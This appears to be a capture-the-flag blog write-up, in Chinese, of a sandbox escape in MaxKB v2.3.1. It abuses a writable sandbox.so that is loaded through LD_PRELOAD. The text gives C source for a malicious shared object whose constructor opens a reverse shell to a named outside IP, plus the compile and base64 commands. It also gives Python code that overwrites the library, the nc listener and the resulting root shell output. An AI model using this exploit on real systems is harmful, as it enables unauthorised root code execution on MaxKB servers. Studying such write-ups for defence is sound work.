874 字
4 分钟
RootKB / MaxKB v2.3.1 沙箱逃逸
RootKB / MaxKB v2.3.1 沙箱提权小记
0x00 前情提要
题目环境是最新版的 MaxKB v2.3.1,后台有一个「创建工具」的功能,可以在线跑 Python 代码。

一开始进去试了一下,的确是个沙箱:
- 能
os.listdir("/")之类的; - 但是系统命令基本跑不通;
- 可读写的目录被限制在
/opt/maxkb-app/sandbox/。
读取了下这个目录,发现里面有个很扎眼的文件:
/opt/maxkb-app/sandbox/sandbox.so这玩意一看就像是沙箱相关的 so,想着大概率和限制有关,就去翻源码了。
0x01 关键点:v2.3.1 新增的 LD_PRELOAD
看 tool_code.py,和 v2.3.0 对比,多出来一段逻辑(大意):
if self.sandbox: kwargs = { "cwd": self.sandbox_path, "env": { "LD_PRELOAD": f"{self.sandbox_path}/sandbox.so", }, # ... 其他参数 ... }也就是说,只要是「沙箱模式」执行 Python,它就会:
- 在 沙箱目录
/opt/maxkb-app/sandbox/下找sandbox.so; - 启动 Python 子进程时,带上
LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so。
结合我们前面信息收集到的结论:
/opt/maxkb-app/sandbox/是沙箱里唯一能读写的目录;sandbox.so就长在这里;- 我们可以覆盖它。
那就很明显了: 一个可写的、会被 LD_PRELOAD 的 so,基本等于「给你一个挂钩点,自己决定启动时执行啥」。
0x02 攻击思路一眼定胜负
利用链其实就四步:
- 在本地写一个恶意
.so:被载入时自动执行我们想跑的命令(比如反弹 shell)。 - 编译好之后做 base64 编码,方便塞进沙箱里的 Python 代码。
- 用在线 Python 将 base64 解码,直接覆写
/opt/maxkb-app/sandbox/sandbox.so。 - 再随便执行一次「沙箱模式」的 Python 代码就行了——Python 子进程一启动,动态链接器按照
LD_PRELOAD把我们的 so 加载进来,构造函数自动跑,反弹 shell 拿下。
0x03 本地准备:写个简单的恶意 so
先在自己机子上写 Z3.c:
#include <stdlib.h>#include <unistd.h>
void payload() { unsetenv("LD_PRELOAD");
system("bash -c \"bash -i >& /dev/tcp/8.138.38.81/1337 0>&1\"");}
__attribute__((constructor))void init() { if (getenv("LD_PRELOAD") != NULL) { payload(); }}编译成 so:
gcc -shared -fPIC -o Z3.so Z3.c检查一下是 64 位 ELF 就行(和容器架构一致即可)。
然后为了方便塞进题目里,把 so 做成一行 base64:
base64 -w0 Z3.so > Z3.b64打开 Z3.b64,复制里面那一长串字符串,后面会用到。
0x04 在线覆写 /opt/maxkb-app/sandbox/sandbox.so
接下来回到题目后台,「智能体编程」那里写 Python。我们利用沙箱能写 /opt/maxkb-app/sandbox/ 的特性,把本地准备好的恶意 so 写进去。
示例代码(核心逻辑):
def payload(): import base64 import os
base64data = """这里粘你的 Z3.b64 那一整行""".strip()
data = base64.b64decode(base64data)
path = "/opt/maxkb-app/sandbox/sandbox.so"
with open(path, "wb") as f: f.write(data)
return {"msg": "overwrite done", "size": len(data)}只能是def函数,其他的
函数会报错奥
在后台点击调试,
这一步做完,其实整个提权已经埋好雷了,就差走过去踩一下。
0x05 触发 LD_PRELOAD,拿反弹 shell
在本地先开个监听:
nc -lvvp 1337然后回后台,再新建/修改一个工具,随手写个非常无害的代码,例如:
def payload(): print(1)重点不是这段代码本身,而是你要让它在“沙箱模式”下执行一次。
一旦点了执行,后台会:
- 根据我们前面看到的逻辑,启动一个带
LD_PRELOAD=/opt/maxkb-app/sandbox/sandbox.so的 Python 子进程; - 动态链接器加载我们的
sandbox.so; - 调用 so 里的
__attribute__((constructor))函数; - 反弹 shell 直接回到我们本机的 nc。
此时监听端口上就会弹出一个交互 shell:
$ nc -lvvp 1337Connection from x.x.x.x 54321bash: no job control in this shellsandbox@xxxx:/opt/maxkb-app/sandbox$ iduid=0(root) gid=0(root) groups=0(root)sandbox@xxxx:/opt/maxkb-app/sandbox$ cat /root/flagflag{...}直接提权RCE
RootKB / MaxKB v2.3.1 沙箱逃逸
https://steins-gate.cn/posts/maxkb/ 部分信息可能已经过时





